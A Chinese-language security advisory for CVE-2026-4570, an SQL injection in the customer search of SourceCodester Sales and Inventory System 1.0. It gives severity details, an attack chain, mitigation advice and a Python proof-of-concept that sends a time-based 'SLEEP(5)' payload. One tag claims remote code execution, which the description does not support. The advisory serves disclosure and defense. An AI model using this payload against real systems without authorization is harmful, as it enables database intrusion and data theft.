IPBUF安全漏洞报告
English
CVE-2026-4570 CVSS 6.3 中危

CVE-2026-4570 SourceCodester销售库存系统SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4570
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入CVE-2026-4570SourceCodesterWeb安全远程代码执行

漏洞概述

SourceCodester Sales and Inventory System 1.0版本存在SQL注入漏洞。在/view_customers.php文件中,系统未对HTTP POST请求参数searchtxt进行有效过滤,导致攻击者可远程利用该漏洞执行恶意SQL语句,从而窃取数据库敏感信息或破坏数据完整性。

技术细节

该漏洞位于SourceCodester Sales and Inventory System 1.0的/view_customers.php组件中。由于HTTP POST请求处理程序对searchtxt参数缺乏安全检查,直接将其拼接到SQL查询中,攻击者可以通过构造特殊字符(如单引号、注释符)篡改SQL逻辑。攻击向量为网络(AV:N),无需用户交互(UI:N),仅需低权限(PR:L)即可触发。成功利用后,攻击者可读取、修改或删除数据库内容,造成信息泄露(C:L)、完整性受损(I:L)及服务受限(A:L)。

攻击链分析

STEP 1
步骤1:侦察与访问
攻击者识别出目标运行SourceCodester Sales and Inventory System 1.0,并获取低权限用户账号。
STEP 2
步骤2:发送恶意请求
攻击者构造包含SQL注入代码的HTTP POST请求,针对/view_customers.php接口,篡改searchtxt参数。
STEP 3
步骤3:执行注入攻击
后端数据库解析恶意参数并执行非预期的SQL命令,导致数据泄露或被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_sqli(target_url): """ Proof of Concept for CVE-2026-4570 This script sends a malicious payload to the searchtxt parameter. """ url = f"{target_url}/view_customers.php" # SQL Injection payload to test vulnerability (e.g., time-based or error-based) payload = "1' AND SLEEP(5)-- -" data = { "searchtxt": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time indicates SQL injection.") else: print("[-] Vulnerability not confirmed or payload did not trigger delay.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_sqli(target)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
若无法立即升级,建议管理员暂时禁用客户搜索功能或通过IP白名单限制对/view_customers.php的访问。同时,应监控数据库日志,排查是否存在异常的查询活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表